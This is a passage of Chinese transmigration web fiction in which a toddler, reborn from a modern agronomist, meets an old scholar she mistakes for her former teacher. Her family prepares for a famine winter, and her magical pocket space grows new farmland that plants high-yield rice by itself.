阿沅一听娘亲发话,立刻像是被按了开关,瞬间从张牙舞爪的小猫变成了乖巧安静的鹌鹑,手脚并用地爬回自己的位置坐好,还不忘把心爱的小木兔端正地放在腿边,只是那滴溜溜乱转的眼睛和微微鼓起的腮帮子,泄露了她努力憋住的淘气。 嗨!严母慈父,这孟家的气象,跟别的人家倒是倒了个个儿。阿沅心里偷偷想着,眼睛却已经亮晶晶地盯上了桌上那碟热气腾腾、金黄诱人的糖糕。 “嘚嘚,雪塌了!” 阿沅指着刚刚滚好、还没来得及安上去的雪球,它被孟怀瑾不小心碰了一下,半边身子散落开来,她立刻用小奶音带着点控诉地叫道。 “塌了就塌了,咱们再堆一个更大的!”孟怀瑾毫不气馁,反而兴致勃勃地又铲起一大捧雪,动作麻利地重新滚起雪球来,玩得比阿沅还要高兴。 “红袖!你堆的~太小!”阿沅踮着脚,看着红袖正小心翼翼拍着的迷你雪人,嫌弃地皱起了小鼻子。 红袖扑哧一笑,故意逗她:“奴婢手笨嘛,那小姐说,堆个多大的?” 阿沅张开双臂,比划了一个夸张的大圆圈:“大!这么大!比嘚嘚还要高!” “好嘞,那奴婢就堆个大的,小姐可得帮忙扶稳了!”红袖笑着应下,开始努力滚大雪球。 第49章 大儒醒了 另一边,莲子正愁眉苦脸地看着自己刚堆好的矮墩墩的雪人身子,小声嘀咕:“小姐,这个……怎么没有鼻子呀?看着怪怪的。” 阿沅立刻被吸引了注意力,跑过去歪着头看了看,然后小手一指:“棍子……插上!萝卜……好,红的。”她前世在实验室和农田待惯了,但还是觉得这白雪比泥巴好玩。 “等等,我这就去找根合适的棍子来!”莲子得了“指令”,兴冲冲地跑到廊下翻找起来。 …… 院子里的一大片空地上,几个小家伙吵吵闹闹地堆着雪人,偶尔还有调皮的小厮团了雪球偷袭,引发一场混战般的雪仗。丫鬟们一边帮忙铲雪、滚雪球,一边护着小姐别被砸着。 其他暂时无事的下人和老北一家,还有柳氏也都聚在屋檐下或回廊里,笑呵呵地看着这冬日里难得的欢乐景象,冰冷的空气里充满了快活的嬉笑声。 阿沅虽是两世为人,但前世生于南方,长于实验室和试验田,堆雪人、打雪仗这种纯粹的孩童玩乐,对她而言是破天荒头一遭。 身上被裹得里三层外三层,像个圆滚滚的棉球,手上也戴着厚厚的兔皮手套,行动虽有些笨拙,但那份新奇和兴奋让她什么都忘了,小脸红扑扑的,鼻尖也冻得微微发红,却一直咯咯笑个不停。 照看她的人可没忘。特别是绿果和红豆,两人轮流“值班”,时而假装带她“飞飞”,时而加入雪仗“保护”她,实则瞅准机会,就半哄半抱地把玩得忘乎所以的阿沅“拎”进烧着炭火、暖意融融的正屋里。 让她脱了湿了外层的手套,烤烤火,驱驱寒气,再喂上几口温热香甜的杏仁茶,或塞一块小巧的枣泥糕、桂花糖,确保她玩得尽兴的同时,又不至于着了凉。 “老北爷爷,大儒醒了吗?”只有在偶尔瞥见乐呵呵站在东厢房门口,一边捋着胡子一边含笑看着他们玩耍的老军医时,阿沅才会从纯粹的玩闹中暂时抽离,记起这桩顶顶要紧的人和事,总要跑过去仰着小脸问上一句。 老北每次都被她这执着的小模样逗得轻笑出声,无奈地摇摇头,语气温和却肯定:“小姐,还没呢!您放心,老头子我隔一会儿就去瞧瞧,醒了准保第一个告诉您。” 他心里着实有些纳闷,这么丁点大的小人儿,怎么对那位捡回来的陌生老先生如此上心?如果他没记错,从早上到现在,这话小姐已经颠颠地跑来问第五遍了。 若不是亲眼见过好几回小姐被少爷或夫人“逮”回去,皱着眉头、噘着嘴、一脸不情愿地练习写大字,他几乎都要怀疑,小姐是不是迫不及待想要拜这位可能很有学问的老先生为师了呢! …… 杨立生就是在这一片隔着门窗传进来的、模糊却快乐无比的喧闹声中,缓缓睁开了眼睛。最初的一刹那,他以为自己还在做梦,梦见小外孙女和邻居孩子们嬉戏的场景。 直到他尝试着动了动手指、蜷了蜷脚趾,感受到四肢百骸传来的、虚弱却真实的酸痛,又下意识地摸了摸自己干瘪凹陷、饥肠辘辘的腹部,那清晰的饥饿感和身体的存在感,才无比确凿地告诉他:他还活着,真的还活着! 他甚至能清晰地辨别出,那脆生生、甜糯糯,带着孩童特有奶音的女声,一遍又一遍地问着:“老北爷爷,大儒醒了吗?”这声音……熟悉得让他心头发酸发紧,恍惚间仿佛又看到了外孙女蹦蹦跳跳跑来的身影。 然后,他听到了一个略显苍老却中气十足的妇人声音大声吆喝起来,穿透了喧闹:“小姐!夫人!东厢房的老人家醒啦!” 话音刚落,窗外那原本专注于堆雪人的小小身影立刻有了动作。只见阿沅毫不犹豫地将手里刚团好的雪球往地上一扔,那干脆利落的劲儿,一点都不像个三岁孩童。 她转身就朝着东厢房的方向,迈开被厚棉裤包裹的小短腿,跌跌撞撞却又目标明确地跑去。雪地湿滑,她跑得摇摇晃晃,红袖和绿果连忙在后面小心护着。 等她气喘吁吁地挤进东厢房门时,里面已经站了好几个人——得到消息的柳氏、孟怀瑾,还有老北、孟柒几个。但所有人听到她“噔噔噔”细碎而急促的脚步声,都不约而同地微微侧身,默契地为这个家里最受宠爱的小主子让出了一条直达床前的通道。 “脑(老)杨,窝是孟沅!”小家伙还没完全挤到最前面,清脆响亮的声音就先在屋里炸开,带着一种不容忽视的急切和熟稔。 这声招呼让屋内众人皆是一愣,随即又都露出欣慰的神色,内心暗暗称赞:小姐虽然年幼,但这般主动向大儒自我介绍,可见是极懂礼数、尊敬读书人的,以后必定是个爱学习的好苗子! 只是……“脑杨”?是让他们“让让”,别挡路的意思吗?大概是小孩口齿不清吧。谁也没往别处深想,那就再往旁边让让吧! “咦!”阿沅终于钻到了床前,仰起小脸,两眼亮晶晶得像盛满了星星,一脸期待地看向床上的人。杨立生已经微微侧过身,原本正打量着屋内众人,此刻目光完全落在了这个冲进来的、红扑扑的小女孩脸上。 床上的人,除了因为连日饥寒交迫而显得格外清瘦憔悴,面色苍白,头发也因昏睡多日未打理而有些散乱披散(原本的短发在这古代时空的认知里,只是“未来得及束起”的乱发),但那眉眼,那轮廓,完全一模一样。 可是那看着她的神情——先是茫然,随即在看清她时,眼中自然而然流露出的那种探究和慈爱,和前世看得意门生的目光——不太一样。 “脑杨!窝……孟沅!农学院…种地!”见老杨只是看着自己,没有预想中的震惊、激动或任何熟悉的反应,阿沅有些急了。 她不死心,用力眨了眨眼睛,试图传达更多信息,继续用三岁小娃有限的词汇和不清的口齿提醒着。 第50章 难道不是穿越? 阿沅心想,这话里的关键信息——“孟沅”、“农学院”、“种地”,连起来的意思,老师那么聪明的人,应该能听懂才对啊!这可是他们共同的“熟悉语言”! 杨立生确实知道眼前这个眼神热切、笑容真挚又带着某种他看不懂的尊敬,甚至是濡慕?的小女娃在很认真地对自己说话。 可他费力地集中精神,拼凑她含糊的发音,也只能勉强辨出“孟沅”、“种地”几个词,中间那个“农学院”对他而言是完全陌生的词汇组合。他疑惑地微微蹙起了眉头,努力思索着,却不得其解。 不仅是他,在场的所有人,包括柳氏,都有点懵了。柳氏倒是听懂了“种地”,可心中疑窦顿生。 女儿不是说,是神仙姑姑在梦里教她种地吗?怎么对着这位大儒也说起种地来了?难道……这位大儒也是神仙姑姑送来的人?可大儒不都是教书育人、满腹经纶的吗?怎么还会种地?这到底是怎么回事? 众人的目光一时间都聚焦在了语出惊人的阿沅身上。 床上的杨立生沉默,更确切地说是茫然了片刻,才终于找回了自己的声音,因为虚弱而显得有些气短,但他还是努力挤出一个和善的长辈微笑,甚至尝试着伸出枯瘦的双手,似乎想表达感激,声音微弱却清晰地说道:“孟沅……这个名字,很好。” 然后,他的目光转向了柳氏和孟怀瑾等人,语气郑重:“在下……杨立生,多谢……各位的救命之恩。”礼数周全,即便是在如此虚弱的情况下。 “杨立生?杨大儒?您……您真的是杨立生杨大儒?” 孟怀瑾闻言,先是猛地一愣,随即眼睛骤然睁大,脸上瞬间爆发出难以置信的狂喜,声音都因为激动而微微发颤,“学生……学生是文华学院许长川许山长的学生孟怀瑾!学生见过先生!” 他惊喜得几乎语无伦次,身体下意识地就要行跪拜大礼,恨不得当场就磕头拜师。 杨立生——这个名字在文人学子中可谓如雷贯耳。他是当代公认的鸿儒,学富五车,德高望重,不仅在文人墨客中享有极高声誉,在清流文官中也备受崇敬。 他创办了闻名遐迩的文华学院,并担任第一任山长,现任山长许长川正是他的关门弟子。只是杨大儒大约十年前便开始深居简出,近年来几乎无人得见其真容,谁曾想他竟然会流落到这偏远的嘉禾庄,还落得如此狼狈境地! “孟怀瑾?你……中了秀才?是……案首?安平侯府孟家?”杨立生听到许长川的名字,眼神微动,仔细看了看眼前激动不已的少年郎,似乎在记忆中搜寻着相关信息,迟疑地问道。 孟怀瑾拼命点头,脸上满是遇见偶像的兴奋与荣耀:“正是学生!学生去年侥幸中了秀才。” 杨立生的目光又移向一旁气质温婉、难掩激动泪光的柳氏,最后,他问出了一个关键的问题,语气带着关切和确认:“孟大人……他还……?”他似乎想通过这个问题,做最后的身份确认。 柳氏万万没想到,这位偶然救下的老人,竟然认得他们,而且似乎与自家有旧!她激动得用手帕擦了擦瞬间涌出的泪水,连忙颤声回答:“在的,在的!夫君他……前些日子病重,幸得上天庇佑,如今已经好了许多,就在正屋将养着。” 绝处逢生又遇故知,这接连的冲击让她情绪有些难以自持。 “原来如此……苍天有眼……我们也算有缘。”杨立生仿佛松了一口气,苍白瘦削的脸上露出一丝慰藉。 他喘了口气,目光在殷切望着他的孟怀瑾和泪眼婆娑的柳氏之间转了转,似乎下了某个决心。 缓缓开口道:“既如此……如果夫人不嫌弃老夫老迈无用,老夫……恐怕要厚颜叨扰府上一段时日了。救命之恩,无以为报……若夫人与孟大人不弃,怀瑾这孩子,便做我的关门弟子……可好?”他的声音虽然虚弱,却带着一种不容置疑的郑重和承诺。 他话音刚落,早已按捺不住的孟怀瑾“扑通”一声,毫不犹豫地双膝跪地,以额触手,行了最庄重的大礼,声音哽咽却无比清晰响亮:“先生!请受弟子孟怀瑾一拜!” 柳氏再也忍不住,以帕掩面,低声啜泣起来,连连点头:“先生……先生您能留下,是我儿的福气,是孟家的福气!我们求之不得,怎会嫌弃!” 而此刻,被完全“晾”在一边的小阿沅,却怔愣愣地站在原地,仰着小脸,看看激动跪拜的哥哥,再看看喜极而泣的娘亲,最后目光落在床上虽然虚弱却已然有了宗师气度、正在安排“报恩”事宜的杨立生脸上。 我是谁?我来自哪里?我刚才说了那么多……为什么一点用都没有?你们……是不是把我当空气了? 她心里一瞬间涌上无数情绪:懊恼,怀疑,还有一丝丝……高兴。 懊恼的是,自己本来准备和蓄积了好久、打算用来与前世恩师相认的“眼泪攻势”以及精心构思的“劝说台词”(动员老师收哥哥为徒),最终完全没有派上用场,甚至没人在意她刚才那番“奇怪”的发言。 怀疑的是,眼前这位杨老师,或许根本不是自己穿越或重生的恩师,而仅仅是一个长相、神态甚至名字都巧合得惊人的古代大儒?自己是不是因为太想念前世,产生了错觉? 高兴的是……无论如何,因为自己的“多管闲事”,确实挽救了一位德高望重的古代良师。而且,这位良师恰好是哥哥眼下最最需要、求之不得的导师!这结果,似乎比她自己“认亲”成功还要好? 小家伙站在那里,小嘴微张,脸上表情变幻不定,彻底成了这场“历史性会面”中,一个被巨大信息量和情感冲击弄得有点晕头转向的、小小的旁观者。她手里还无意识地攥着那只木雕小兔子,兔子的红眼睛无辜地映着屋内温暖的灯光。 第51章 居然不是穿越之人 “窝是孟沅,先生,认识窝吗?”小姑娘扒着门框,只露出半个脑袋和一双乌溜溜的眼睛,口齿还有些奶声奶气的不清,却努力装出一副正经模样。 “当然认识,”斜倚在榻上的杨立生放下手中的书卷,眼角笑纹深深堆起,像看一只探头探脑的幼雀,“你是孟家最最漂亮,最最可爱的——阿沅。”他故意拖长了尾音,带着老年人特有的、哄孩子般的慈爱腔调。 “先生爱种地吗?”阿沅得了夸奖,胆子大了些,蹭进屋,小身子挨到榻边,仰着脸问。前世的老师即使做了博士生导师,也会亲自带队下试验田,裤脚沾满泥巴。 “先生不种地,”杨立生捋了捋花白的胡子,眼神里闪过一丝孩童般的狡黠,“但也不是四体不勤,五谷不分。早年游学时,也曾挽起裤腿,插过几株秧苗,识得麦苗与韭菜的区别。” “先生四(是)教授!”阿沅眼睛一亮,脱口而出,随即意识到口误,连忙用小手捂住嘴,只剩下圆溜溜的眼睛眨巴着。 杨立生被她这模样逗得哈哈一笑,胸腔震动,引来几声轻咳。“咳咳……先生确实一生都在教授学生,现在老了,教完你哥哥就不教了。”他目光掠过窗边安静看书的孟怀瑾,又落回眼前这粉团似的小人儿身上,语气里带着告老卸任的释然,也有一丝微不可察的落寞。 阿沅却忽然凑得更近了些,几乎要趴到榻沿上,用气音般的神秘语调,一字一顿地说:“先生,高产粮,一亩一千斤。”她紧紧盯着老人的眼睛,不肯错过任何一丝波澜。 杨立生闻言,脸上的笑容倏地凝住了。呆呆地看着小家伙怔了片刻,目光从阿沅写满期待的小脸上移开,望向窗外纷扬不止的雪,良久,才化作一声悠长的叹息:“唉……童言无忌,童言无忌啊!” 他摇了摇头,像是要甩开一个不切实际的幻梦,“若一亩真能种出千斤粮食,那便是天降祥瑞,百姓何须再忍饥挨饿,易子而食?皇帝怕是在梦里都要笑出声来,我大康朝……可就真是国泰民安,盛世可期了。” 话音到最后,已是低不可闻,裹挟着浓重的无奈与怅惘,沉甸甸地坠在暖阁的空气里。 …… 接下来的几天,柳氏果然再不用拘着阿沅,也不必担心她闹着往冰天雪地里跑了。因为不但是她,就连一向沉静的儿子孟怀瑾,也有了新的、心甘情愿前往的好去处——大儒暂居的东厢房。 那里仿佛生出了一块无形的磁石,吸引着两个孩子。 只要听说先生醒着,精神尚可,孟沅便像一只勤快的小蜜蜂,坚持不懈地“嗡嗡”着往先生屋里钻。她有时抱着个手炉,有时捏块点心,总要找些由头。 问的问题有时候也照着三岁孩童天马行空,从“人能不能上到月亮上?”,再到拐弯抹角地提起“很远很远的地方住的人会不会不一样?” 她一边问,一边用那双清澈得不掺一丝杂质的眼睛,细细观察着老先生每一点神色变化,每一次胡须的颤动。 然而,无论她如何稚气地试探,如何笨拙地旁敲侧击,杨先生都极有耐心。他时而被她古怪的问题逗得捻须莞尔,时而认真思忖后,用最浅显的比喻解释给她听,眼神始终是长辈看待聪慧孙辈的温和与包容。 他确实好像从来不曾认识过一个名为“孟沅”的异世灵魂,言语间也寻不到半分现代的气息,就像一口深邃却古朴的井,映照出的只是当下这个三岁孩童好奇的倒影。 每当这个时候,孟怀瑾总是安静地坐在靠窗的圈椅里,膝上摊开一卷书。他的目光大多落在书页上,但耳朵却分明竖着。 偶尔听到妹妹又蹦出什么惊人之语,他会从书卷上抬起眼,目光在妹妹充满探询的小脸和先生慈祥的容颜间轻轻一转,嘴角微抿,似有些许了然,又似有些无奈。 直到看见先生面上浮现出淡淡的倦色,或是说话间隙轻轻按揉太阳穴,他才会合上书,站起身,声音清朗地打断:“妹妹,先生需要静养。哥哥带你去堆个雪人,可好?” “好哒!”阿沅倒也爽快,或许也是试探得有些累了。 她滑下榻沿,站稳了小身子,朝着杨先生规规矩矩地福了福——姿势虽有些歪扭,意思却到了,“先生……好好养病,窝以后……再来找泥玩雪。”她说得磕绊,心意倒是十足。 “去吧!去吧!”杨先生笑着挥手,眼神慈爱,“好好玩,先生这把老骨头,可经不起风雪折腾喽。不过,” 他话锋微转,带着笑谑,“等开春天暖了,先生精神好了,倒是可以同样教我们阿沅识字读书,我们阿沅这般聪颖,定是个读书的好苗子。” 一听“识字读书”四个字,阿沅像是被踩了尾巴的小猫,脸上那点装出来的文静瞬间飞散。 “哥哥快走!” 她一把拉住孟怀瑾的袖子,头也不回,迈着小短腿“噔噔噔”就往外冲,速度快得惊人,一溜烟便没了影,只留下门帘微微晃动,只留下后面大儒的爽朗笑声。 比起握着对她小手来说过于沉重的毛笔,一笔一划地描红,弄得手腕酸软,她宁可跟着绿果和红豆在廊下扎马步,或是跟红袖、莲子你一下我一下地“嘿哈”比划,尽管动作像胖乎乎的猫儿扑蝶,却让她觉得畅快又过瘾。 年前做好、冻在干净的雪地里那成堆的馒头、包子、饺子,早已被消耗一空。老北奶奶又张罗着做了第二批,储存起来。 可这天公仿佛在与人作对,天空像豁开了一道巨大的口子,雨雪裹挟着寒意,铺天盖地、毫无停歇之意地倾洒下来,院中的积雪天天清,也天天厚得没过了小腿。 第52章 抛砖引玉 杨先生能下床后,这是第三次来探望孟大川了,两人谈及窗外这仿佛无止境的雨雪,忧虑着寻常百姓的屋舍与生计,虽然是一文一武,倒也和谐。 “这是要变天啊!” 杨立生捻着茶盏,望着窗外灰蒙蒙的天际,忽然幽幽地发出一声叹息,那叹息里承载的重量,远不止于天气。 孟大川正待接话,床上安静玩着九连环的阿沅却猛地抬起头,用她那特有的、带着糯软齿音,却语不惊人死不休的腔调插嘴:“变天?是有人要洗(死)了吗?那个坏皇帝也洗(死)吗?” 她睁着黑白分明的大眼睛,一派天真无邪,仿佛在问“今天吃糕吗”一样自然。 “阿沅!不许胡说!”孟大川脸色骤变,厉声喝止,大手几乎是条件反射般地伸过来,紧紧捂住了女儿的小嘴。他紧张地看向杨先生,额角似有青筋微跳。 杨先生却并未如孟大川预料的那般惊怒或惶恐。他只是微微一顿,目光落在阿沅被捂住嘴、只剩一双眼睛骨碌碌转的小脸上,那眼神深邃复杂,仿佛透过她在看更遥远的东西。 片刻,他缓缓放下茶盏,语气出乎意料的平和,甚至带着一丝难以言喻的慨叹:“皇帝么……眼下还好。有时,活着,未必不比死了更……罢了,这些话不是你该听的。我们阿沅……倒真是个心思剔透的。” 最后一句,语气又转为了那种对待孩童的温和,却隐约藏着一丝别样的审视。 孟大川这才稍稍放松,松开了捂着阿沅的手,顺势将她往自己身边带了带,目光却探寻地看向杨先生,压低了声音:“先生方才感叹变天……莫非是觉得,东宫……不稳?”他问得含蓄,指尖无意识地摩挲着温热的杯壁。 杨先生沉默了片刻,屋外风雪声显得格外清晰。他终究没有正面回答,只是垂下眼睑,看着杯中沉浮的茶叶,声音低缓,字斟句酌:“……性子急了些,储君手段也烈,母族势大,难免……唉,苦的终究是黎民百姓。”一声悠长的叹息,道尽了未尽之言里的担忧与无奈。 “皇上膝下,也并非只此一子。”孟大川接了一句,像是在陈述,又像是在抛砖引玉。 阿沅靠在父亲腿边,屏住呼吸,觉得爹爹这话说得巧妙,像在平静的湖面投下一颗小石子。 再看杨先生,他此刻更像一只蛰伏的老狐,看似闭目养神,眼角细微的纹路却蕴藏着经年的智慧与秘密。 他并未接孟大川关于其他皇子的话头,只是嘴角牵起一个极淡、几乎看不见的弧度,仿佛自言自语般低喃:“风云激荡,非一日之寒。若是能……再熬过七八个春秋,大约……会好些。”说罢,便端起茶盏,细细啜饮,不再多言。 阿沅竖着耳朵等了半天,也没等到更具体的名字或事件,心里像有小猫在抓挠。她抬头看向爹爹,却见孟大川已然敛目沉思,手指在膝上轻轻敲击,似乎是从那句“七八个春秋”里品出了什么深意,陷入了自己的思量。 这个杨先生,心里定然藏着许多不为外人所知的事。自他来到孟家,无人刻意问起他的来历与遭遇,他也从未主动提及家中亲眷,更无半分急于归去的意思。 他桃李遍天下,陈山长又是他的关门弟子,即便不想回到家中,那文华书院也应是清贵安稳的归宿。可他偏偏决定要安顿下来,安之若素地留在庄子里,似乎想要与外界风雨隔绝。 这份沉静,反而让阿沅觉得,他就像这漫天风雪中一座沉默的山,山腹里或许藏着足以燎原的星火,或是不愿示人的幽深洞窟。 “整个镇子死了不少人,附近有个庄子听说人都快死绝了。”林庄头说这话时,眉头拧得死紧,唯一的一只手还不停地搓着冻得发红的耳朵。 他站在昔日的将领跟前,身上还带着从外头裹进来的寒气,说话间白雾一团团地呵出来。 大雪封山封路,京城里的消息是半点也透不过来,但庄子与庄子之间,总还有些胆大或者活不下去的人走动,消息便像寒风里的碎雪,零零星星地飘进来。 孟柒他们也闲不住,每天都要裹得严严实实出去转一圈,美其名曰“探听风声”,其实也是憋得慌。回来总能带些零碎消息:李家庄压了七八户又塌了;更远些的村落,整个庄子几乎都没人了。 林庄头孤家寡人一个,隔三差五也会过来,把从那些蹲在墙角晒太阳的佃户嘴里听来的闲话,一五一十说给孟大川听。 那些佃户,得了主家年前的厚赏,心里是感激的,嚼起舌头来也更卖力,仿佛多报些消息,就能对得起那些粮食和棉衣似的。 “再这么下去,怕真会出乱子。”林庄头的声音压低了些,眼神里掠过一丝惊惶,像是被十几年前的噩梦魇住了,“大人,您没经过那年头……流民成了群,眼珠子都是红的,跟狼似的,见着吃的、见着暖和的屋子就往上扑,管你是什么老爷夫人……” 他顿了顿,喉结上下滚动,“咱们庄子现在还算安稳,可外头……听说已经有灾民结伙,闯进那些看着殷实的人家里去了。主家为了保命,不敢不从,好饭好菜供着,甚至还给女人。报了官,衙门里也腾不出手管,或者说,没法管。” 孟大川坐在炕沿上,听着,面色沉静,但搁在膝上的手却不自觉地握紧了。他有些后悔,当初只安排这些护院过来,人还是太少了。这庄子大,佃户散居,万一真有事,怕是照应不过来。 “孟柒,”他抬眼看向侍立一旁的,“除了你们几个每日必要的探看,庄子里的其他人,一律不得外出。告诉所有的护院,日夜警醒,轮班值守,万不可懈怠。” “大人放心。”孟柒上前一步,他身姿挺拔,即便穿着厚棉袍也不显臃肿,眼神沉稳里有锐气,“在下过来,正是想跟您商量这事。光靠咱们现有的人手,巡防偌大庄子,时间长了难免有疏漏。是不是……可以从佃户里,召集些身强力壮、又得过好人卡的人家,简单训练起来,编成小队,明确职责,做好日夜交替的巡防?” 第53章 我有土地了 他顿了顿,“我们的动作大,佃户们各家各户也会警醒着些。” 想到年前夫人那场大手笔的“挥霍”——那些实实在在发到每家每户的粮食、衣料和木炭。让这个冬天,庄子里的佃户比旁处多了许多活气,也多了许多忠心。于是,他没再提需要额外花费银钱佣金的事,只是补充道:“这些人,知根知底,又受了主家大恩,用起来应当可靠。” 孟大川沉吟片刻,点了点头。这两天,他独自在书房时,也在反复思量这个事。乱世用重典,危局需齐心。光靠威慑不够,还得有利导。 “就按你想的办。务必挑选妥当之人。”他下了决心,“肯出力的,每人每日……可领三斤粮食,再发两件厚实棉衣,雪天里总得要有替换。” 地窖里预留的粮食充足,棉布棉花也还有富余,孟大川向来不是刻薄的主家,这种时候,他更不想亏待任何肯为庄子出力的人。平安度过这个可怕的雪灾之年,比什么都重要。 阿沅一直窝在爹爹暖和的被窝里,只露出个小脑袋,听着大人们商量这些沉重的事情。那些“死人”、“乱子”、“流民”的字眼,钻进她的小耳朵,让她不由自主地打了个寒噤,小身子裹着被子也瑟瑟地抖了一下。 前世太过太平,她脑海里没有具体的画面,但那种弥漫在大人语气里的紧张和忧虑,让她害怕,也更坚定了心里那个模糊却强烈的念头:一定要种出很多很多的粮食,让大家都不饿肚子! 可是……想到要等到冰雪融化才能打算,她又觉得像有一只小猫爪子在心上挠,痒痒的,急急的,很不甘心。“好烦好烦,”她是南方人,不喜欢这样窝冬。 “阿沅,你去哪里?”孟大川正和孟柒说着细节,忽见女儿一言不发,小脸绷得紧紧的,像个严肃的小大人,然后就开始吭哧吭哧地从高高的炕沿往下滑,小短腿悬空蹬了半天也够不着踏板。他连忙伸手,一把将这团“棉球”抱下来,稳稳放在地上,顺口问道。 “咪咪(秘密)!”小家伙脚一沾地,立刻抬头,黑葡萄似的眼睛亮晶晶的,竖起一根短短嫩嫩的食指,紧紧贴在嘟起的小嘴唇上,还夸张地“嘘”了一声,那模样,仿佛真藏着了不得的大事情。 说完,也不等爹爹再问,迈开小短腿,啪嗒啪嗒就跑出了房门,只留下一串轻快的脚步声。 她飞快地跑回自己隔壁的小房间,招呼正在整理衣箱的红袖:“红袖,抱窝上床!” 红袖忙过来,笑着将她抱上那张挂着厚厚帐幔的雕花小床。阿沅一骨碌滚进被窝,只露出一张小脸,神情是罕见的严肃:“窝睡觉觉,不许烦哦。”说完,就紧紧闭上了眼睛。 红袖只当小姐是玩累了,乖巧地应了声“是”,轻轻放下层层帐幔,掩上门出去了。 听着关门声确认屋里只剩自己,帐子里的阿沅立刻睁开了眼,那双眼睛里哪有一丝睡意,分明是满满的急切和跃跃欲试。她屏息凝神,心里默念,小小的身影瞬间从锦被中消失,进入了那片独属于她的神秘天地。 才进空间,脚踩在温润如玉的地面上,她原本是直奔着实验室的方向去的,小嘴还无意识地嘟囔着:“窝要毒药药!多多的毒药药。” 想着要给孟柒他们准备些防身的厉害东西。那声音糯糯的,带着孩童的稚气,与她心里想的“见血封喉”、“瘫软无力”等词儿全不匹配。 然而,就在她脚步将动未动之际,忽然感觉周围的气息有些不同。那是一种难以言喻的、空间本身传来的轻微“嗡”鸣,带着欣喜的扩张感。她猛地顿住,下意识地回头,朝含章苑那青砖灰瓦的围墙外侧望去——那里原本始终被乳白色的浓雾笼罩着,界限分明,无法靠近。 可此刻,浓雾正在以肉眼可见的速度滚滚退散,如同舞台的帷幕被缓缓拉开,露出了其后崭新的景象! “呀!”阿沅惊喜地叫出了声,那声音又脆又亮。她睁大了眼睛,小嘴因为惊讶和兴奋微微张开,露出了几颗小米牙。 “窝有土地了!”她欢呼起来,奶声奶气,却充满了无尽的喜悦。再也顾不上去什么实验室,小短腿倒腾得飞快,哒哒哒地就朝着那片新出现的区域跑去,两个小揪揪上下一甩一甩,欢乐地跳跃。 站在边界,她看得更清楚了。眼前是一片极为规整、平坦而肥沃的土地,黑黝黝的,仿佛能捏出油来。土地的一侧,一条清澈见底的小溪潺潺流过,水声淙淙,为这静谧的空间添了几分生气。 孟沅迅速冷静下来,开始以专业的眼光打量、估算:“看着……长宽规整,田埂分明,嗯,一块、两块……还有那边的形状……加起来,应该有十亩左右!还附带一条灌溉用的小溪,布局倒是合理。” 前世在农科院,为了实验数据精准,试验田都是一亩、五亩或十亩这样规整的单位,要么方正,要么呈标准的长条形,方便计算数据。所以孟沅一眼扫过去,心里就有了八九不离十的判断。这空间的馈赠,倒是很“科学”。 她走到田埂边,也不嫌地上凉,一屁股坐了下来。小小的身子在空旷的田地边显得格外孤零零,单薄得很。但若有人能看见她此刻的神情和内心,便会发现那里早已乐开了花,像是瞬间绽放了千百朵向日葵,金灿灿,明晃晃。 兴奋之余,她心里也浮起一丝疑惑和揣摩:上一次空间扩大,是多了含章苑。那是因为救了爹爹和哥哥?还是因为拿回了娘的嫁妆,让坏人吃了瘪?或者,是因为自己“装神弄鬼”,吓得安平侯府鸡飞狗跳,也算做了件“厉害”事? 那这一次呢?是因为爹爹和哥哥的身体一天比一天好,脸色红润起来了?还是因为救了那位杨大儒? 哎呀呀,想不明白!小脑袋摇了摇,决定不为难自己了。管它为什么呢,有地就是天大的好事! 念头立刻转到了眼前的土地上。她开始认真地盘算起来:前世在南方,种一季水稻大概三个多月,不到一百一十天,一年能种两到三季。但这里可是北方,里写得明白,今年庄子这边的地,要等到五月底、六月初才能完全化冻,耕田、耙地、育苗……一套流程下来,插秧得到六月底了。时间紧得很!如果能先在空间里播种…… 阿沅的目光扫过眼前这十亩地,刚才那股子狂喜稍微冷却了一点,小眉头又习惯性地蹙了起来:十亩地……还是太少了呀。 空间时间流速快,不能空着。 第54章 孟二泉居然还升了官 “不管了!先种上再说!”她很快又振作起来,小拳头在空中挥了一下,给自己打气。现在外面还没到三月,按照之前观察,空间里的时间流速大概是外面的三倍左右?那么,在这里面抓紧时间种下并收获两季水稻,外面也才刚到五月左右,到时候再头疼外面的育种和推广问题也不迟! 想到这两季可能的收成——高产稻种,亩产若是能达到预期……阿沅心里迅速算了一笔账,眼睛又亮了起来:十亩地,两季,就算保守估计,也能收获2万多斤良种呢!到时候,总能想办法解决后续的问题! “就这么办!”她下了决心,小脸上满是认真,“种四亩高产1号,高产2号和高产3号……嗯,各三亩!”她规划着实验田的比例,力求获得不同品种在“本地”条件下的对比数据。 规划已定,她站起身,拍拍小屁股上并不存在的土,准备迈开小短腿,噔噔噔地跑回实验室那边的院子,去搬运存放在那里的珍贵稻种,对她现在的小身板来说,那将是一项极其艰巨的体力活。 可就在她刚要抬脚的刹那,眼前的景象让她彻底惊呆了,小嘴张成了一个圆圆的“O”型,半晌没合上。 只见那片刚刚被她“钦点”的、肥沃黑土地,仿佛瞬间被赋予了生命!没有犁,没有耙,土地本身却如同沉睡的巨兽苏醒,又如同大地深处涌起了无声的喷泉,从最底层开始,整齐划一地、温柔又强劲地向上翻涌!黑色的泥浪均匀地起伏、滚动,将可能存在的板结或块垒完全打散、抚平。 与此同时,旁边小溪里的清水,仿佛被一双无形的巨手引导着,化作几道透明的水练,轻盈而准确地跃上田垄,均匀地洒入正在翻动的泥土中,进行着完美的灌溉。 不过片刻功夫,翻涌平息,水流退回溪中。呈现在阿沅眼前的,已经是十几亩完全整理好的、水肥适宜的、达到直接播种最佳状态的完美苗床!土壤细腻湿润,泛着健康的油光,田面平整如镜。 “还……还有这等好事?!”阿沅足足愣了好几秒,才猛地回过神来,随即便是巨大的狂喜席卷了她。她高兴得直接原地蹦了起来,虽然个子小跳不高,但那雀跃的劲儿十足。 她甚至兴奋得孩子气地在柔软的田埂上打了个滚,咯咯的笑声洒了一地,小小的身子裹在锦缎棉袄里,像只快乐的绒球。 这简直比前世的现代化全自动农业机械还要神奇、还要便捷!连按钮都不用按,连柴油电力都不需要,心念一到,土地自行为她备好! 还没等她从这惊喜中缓过神,更神奇的事情接踵而至。她刚刚在心里盘算好的那三种高产稻种——高产1号、2号、3号,仿佛听到了她无声的召唤,装种子的麻袋并没有出现在实验室,而是直接出现在对应的田埂上,袋口自动松开。 接下来,阿沅看到了让她终生难忘的一幕:仿佛有无数双透明而灵巧的大手,在空气中同时动作!它们从袋中取出金灿灿的稻种,以专业得不能再专业的姿势,将种子均匀地、恰到好处地撒播进刚刚备好的湿润田地里。 